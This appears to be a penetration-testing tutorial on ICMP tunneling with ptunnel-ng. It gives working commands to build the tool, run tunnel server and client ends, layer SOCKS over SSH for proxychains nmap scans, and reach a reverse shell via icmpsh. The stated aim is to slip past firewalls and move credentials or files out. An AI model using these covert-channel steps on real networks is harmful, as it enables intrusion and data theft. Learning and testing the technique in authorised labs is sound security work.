When even DNS is blocked but ping works, ICMP is the covert channel of last resort. Payloads are encapsulated inside ICMP echo request/reply packets — the firewall sees pings, we smuggle TCP through them.

Standard tool: ptunnel-ng — modern fork of the original Ptunnel, still maintained.

Prerequisites

  • Pivot can send ICMP echo requests outbound and receive replies
  • Your attack host can receive raw ICMP (public IP, no stateful filtering blocking echo-reply)
  • Root on both ends (raw sockets required)

Not every network allows ICMP egress. Test first:

# From pivot
ping -c 3 <attacker-public-ip>
# If you get replies → ICMP egress works, tunnel will work

Install

git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
sudo apt install automake autoconf -y
sudo ./autogen.sh

If autogen.sh fights you, build statically:

sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh

Transfer the built binaries (or the source) to the pivot:

scp -r ptunnel-ng ubuntu@<pivot-ip>:~/

Local Port Forward

ptunnel-ng is strictly 1-to-1 — one local port to one remote IP:port.

Server on the Pivot

sudo ./ptunnel-ng -r 10.129.202.64 -R 22
  • -r — remote address (target as seen from the pivot)
  • -R — remote port

The pivot runs a tunnel server that will forward incoming tunneled traffic to 10.129.202.64:22.

Client on the Attacker

sudo ./ptunnel-ng -p 10.129.202.64 -l 2222 -r 10.129.202.64 -R 22
  • -p — proxy IP (the pivot’s public IP, where ICMP packets go)
  • -l — local listening port on your box
  • -r / -R — final destination the pivot should reach

Now:

ssh -p 2222 ubuntu@127.0.0.1
# → localhost:2222 → ICMP tunnel → pivot → 10.129.202.64:22

Session logs on both ends show packet counts and throughput — useful to confirm traffic is actually flowing over ICMP.

Dynamic SOCKS Workaround

ptunnel-ng has no native SOCKS — it only does 1-to-1 forwards. Trick: forward SSH through the ICMP tunnel, then layer ssh -D on top for SOCKS.

# 1. ICMP tunnel exposes pivot's SSH locally
sudo ./ptunnel-ng -p <pivot-ip> -l 2222 -r <pivot-ip> -R 22
 
# 2. SSH in through the tunneled port, add -D for SOCKS
ssh -D 9050 -p 2222 ubuntu@127.0.0.1
 
# 3. Use proxychains as usual
proxychains nmap -sT -Pn -p 3389 172.16.5.19

Two layers of encapsulation: nmap → SOCKS → SSH → ICMP tunnel → pivot → target. Slow but workable.

Verify It’s Actually Using ICMP

Load Wireshark on either end and filter icmp. You should see a steady stream of echo request/reply packets carrying non-standard payloads. If you see TCP instead, your tunnel isn’t actually encapsulating — you’re bypassing it.

Performance

  • Much slower than SSH/Chisel, roughly on par with DNS tunneling
  • Payload per packet is small (~1 KB usable)
  • Firewalls that rate-limit ICMP will kill the tunnel outright
  • Stateful DPI appliances (Palo Alto, Check Point) detect non-standard ICMP payload sizes within minutes

Keep scans narrow, avoid ping sweeps, prefer targeted TCP connects.

When to Reach for ICMP Tunneling

  • Only ICMP egress allowed (industrial control networks, strict DMZ)
  • DNS also blocked or actively inspected
  • Engagement is short enough that slow throughput is acceptable
  • You’re moving tiny payloads — credentials, flags, config files

For anything else — prefer DNS (dnscat2), Chisel over HTTPS, or standard SSH.

Alternatives

ToolNotes
ptunnel-ngModern fork, actively maintained, Linux-only
icmpshReverse shell over ICMP; no port forwarding, just a shell
icmptunnelOlder, similar to ptunnel but less maintained

For Windows pivots, icmpsh gives you a reverse shell over ICMP without needing drivers, but only a shell — no SOCKS, no port forwarding. Combine with a second-stage tool once you’ve established a foothold.